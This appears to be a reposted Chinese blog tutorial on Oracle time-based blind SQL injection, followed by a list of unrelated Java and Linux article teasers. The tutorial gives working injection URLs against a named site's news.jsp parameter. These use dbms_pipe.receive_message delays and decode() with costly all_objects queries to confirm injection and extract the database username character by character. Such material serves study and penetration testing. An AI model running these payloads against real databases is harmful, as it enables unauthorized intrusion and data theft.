oracle 布尔盲注,Oracle基于延时的盲注总结

0x00 前言

oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注;

oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。

0x01 DBMS_PIPE.RECEIVE_MESSAGE()函数延时盲注

DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。

首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包。

在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:

dbms_pipe.receive_message('RDS', 10)

DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。

延迟盲注中的应用:

http://www.jsporcle.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--http://www.jsporcle.com/news.jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--

25e6341a6b365b9dbc4be10099461efc.png

如果页面延时10秒返回,即存在注入。

来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法:

DBMS_PIPE.RECEIVE_MESSAGE (

pipename     IN VARCHAR2,

timeout      IN INTEGER      DEFAULT maxwait)

RETURN INTEGER;

可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)

0x02 decode函数延时盲注

decode不仅可以在布尔盲注中运用,也可以用在延迟盲注中。

在decode注入里加入延时语句。这里加入了我们的dbms_pipe.receive_message函数。

and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --

5ae0c6aa0a28e777ae6305ff00f308e1.png

当然,这里延迟的操作不一定用延迟函数,也可以使用花费更多时间去查询所有数据库的条目。例如:

(select count(*) from all_objects)

http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1'

9438b53f1433f825dbe7e2aa363fbbef.png

通过这种明显时间差也能判断注入表达式的结果。

f45da5220a602f8e60cf8df263eda5ab.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/503286.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java架构师除了必备的技术之外,这些技能也需必备?你们觉得呢?

成为Java架构师首先你必须是一名Java高级开发工程师,熟练使用各种框架,并且能知道他们其中的原理。jvm虚拟机原理、调优,懂得jvm能让你写出性能更好的代码;池技术,什么对象池,连接池,线程池等等 Java构架师…

Java编程学习并不难,有坚持的动力与良好的心态尤为重要

时间过得很快,回想刚学习Java编程开发的懵懂无知,到现在可以做出简单的项目,可以明显的感觉到自己确实进步了。Java编程其实并不难学,难的是你能够一如既往的保持好的学习态度,并愿意努力的去背、去记、去做项目练习。…

Java编程开发中高效编码的7个技巧?你应该知道……

1. 使用 JDK 8 或更高版本 从 JDK 8 以及 更高版本开始,引进许多新功能将允许你编写更短、更具表现力的代码,包括 lambda 表达式、functional 接口、stream API等。你实际上不需要记住他们,因为 IDEA 将帮助你使用这些功能,这也是…

下载jdk一定要登录oracle么,如何下载oracle jdk|oracle jdk下载慢,要登录等等问题

/java/jdk/8u231-b11/5b13a193868b4bf28bcb45c792fce896/jdk-8u231-linux-x64.tar.gz注意替换--------------------------------------------附上一批网址,这些应该也够了http://ns1.iranns.ir 这个比较新https://mirrors.huaweicloud.com/java/http://enos.itcoll…

谈谈Java与大数据之间的关系你们都了解了清楚了吗?

Java是计算机编程语言界的王者,大数据是当下IT领域中最新潮的技术,Java和大数据都是当下十分受企业欢迎的IT技术,也是企业核心竞争力的重要组成部分,都说学大数据要先学Java,那么Java和大数据有什么关系呢?…

自学Java必看的知识点,猿们怎么看?

1.你需要精通面向对象分析与设计(OOA/OOD)、涉及模式(GOF,J2EEDP)以及综合模式。你应该了解UML,尤其是class、object、interaction以及statediagrams。 2. 你需要学习Java语言的基础知识以及它的核心类库(collections、serialization、streams、network…

谈一谈Java编程开发中虚拟机的内存区域划分?猿们怎么看?

java虚拟机在执行Java程序的过程中会把它所管理的内存划分为若干个不同的数据区域,有的区域随虚拟机进程的启动而存在,有的区域则依赖线程而存在。包括以下几个运行时数据区域: 程序计数器(线程私有): 可以…

成为一名成功的程序员要做到以下10点?网友:是真的吗?

编程是一个没有极限的职业,所以要成为一名优秀的程序员,你必须超越现有已存在的极限。在程序员职业生涯的开始阶段,他们将面临许多挑战,面对困境,他们之中有一些人将会放弃,而只有少数人会坚持到底&#xf…

掌握Java编程思想,学好Java只需要三步?网友:真的吗?

Java可谓是热门的编程语言,我们的生活方方面面都离不开Java。想学Java的人也是络绎不绝,那么零基础如何学习Java编程?拥有编程思想呢?小编给你答案。 一、从Java基础开始 找一个Java的基础教程学一下,学习Java基础的时…

浅谈Spring注解

Spring目前的趋势是使用注解结合Java代码而不是配置来定义行为、属性、功能、规则和扩展点,因此梳理注解也是梳理Spring功能点的很好的方式,全面的梳理可以补足我们知识点的漏洞。 查找所有注解 首先,我们来创建一个项目,使用SP…

linux nginx 状态,Nginx开启运行状态(status)功能 | IT运维网

1、查验Nginx的Status模块,此模块一般安装时都会安装的。2、编辑Nginx主配置文件(/usr/local/nginx/conf/nginx.conf)在默认站点中配置Status功能location /nginx_status #开启Nginx站点运行状态功能并定义状态查看访问位置{stub_status on; #启用状态access_log…

Java 并发编程必须知道的七种锁类型以及应用

锁是解决并发冲突的重要工具。在开发中我们会用到很多类型的锁,每种锁都有其自身的特点和适用范围。 需要深刻理解锁的理念和区别,才能正确、合理地使用锁。 常用锁类型 乐观锁与悲观锁 悲观锁对并发冲突持悲观态度,先取锁后访问数据&…

linux kvm dhcp配置,《转》QEMU-KVM创建虚拟机自动指定IP的配置

在使用qemu创建虚拟机的过程中是无法指定IP地址的,可是在实际应用中,我们是需要虚拟机拥有IP地址的,并且不是人为去虚拟机操作系统上配置。在qemu虚拟机技术文档(http://qemu.weilnetz.de/qemu-doc.html#pcsys_005fmonitor)里捣鼓了好久&…

谈一谈Java编程开发中的并发控制

并发指在宏观上的同一时间内同时执行多个任务。为了满足这一需求,现代的操作系统都抽象出 线程 的概念,供上层应用使用。 这篇博文不打算详细展开分析,而是对java并发中的概念和工具做一个梳理。 沿着并发模型、并发要解决的问题、基本工具、…

c语言中头文件及其作用,C语言头文件的作用是什么

C语言头文件的作用:1、头文件是程序各部分之间保证信息一致性的桥梁,是连接程序对象定义和使用的纽带;2、用于指定模块接口的声明放在文件中,文件名中应标明其预期用途。本文操作环境:Windows7系统,宏基S40…

Java技术大咖为什么都有写博客的习惯呢?

把自己的设计、思路、总结都写到日记里(我用evernote),便于自己思路的整理,很多时候人脑的缓存是真不够用,后面回来找思路的时候,细节也都在笔记里面。 1.让我思维更清晰,表述更有条理 我生活中…

Java与C++有何区别呢?请看以下几点就明白了……

Java和C都是面向对象语言。也就是说,它们都能够实现面向对象思想。那两者到底有何区别?由于c为了照顾大量的C语言使用者, 而兼容了C,使得自身仅仅成为了带类的C语言,多多少少影响了其面向对象的彻底性!JAVA…

零基础学习java必须要了解的学习路线

Java开发目前热火朝天,但是有传言说Java将被取代,当然那只是传言。今天小编来谈谈零基础学习Java必须了解的学习路线。 第一阶段:HTMLCSS 静态布局开始 有人肯能会说我是做后端的,前端的事情不用管,这本身就是一个误区…

Java开发以及Web 和移动程序员必须了解的10个框架

新的一年已经开始,不知道大家有没有定好小目标。如果2019年还没有决定学什么,那么你来对地方了。在今天的文章中,我将分享一些你可以学习的最好框架,以提升你在移动和Web开发以及大数据技术方面的知识。 在当今世界,对…

Java开发学习必须了解的基础知识点

面向对象和面向过程的区别 面向过程: 优点:性能比面向对象高,因为类调用时需要实例化,开销比较大,比较消耗资源;比如单片机、嵌入式开发、Linux/Unix等一般采用面向过程开发,性能是最重要的因素。 缺点&a…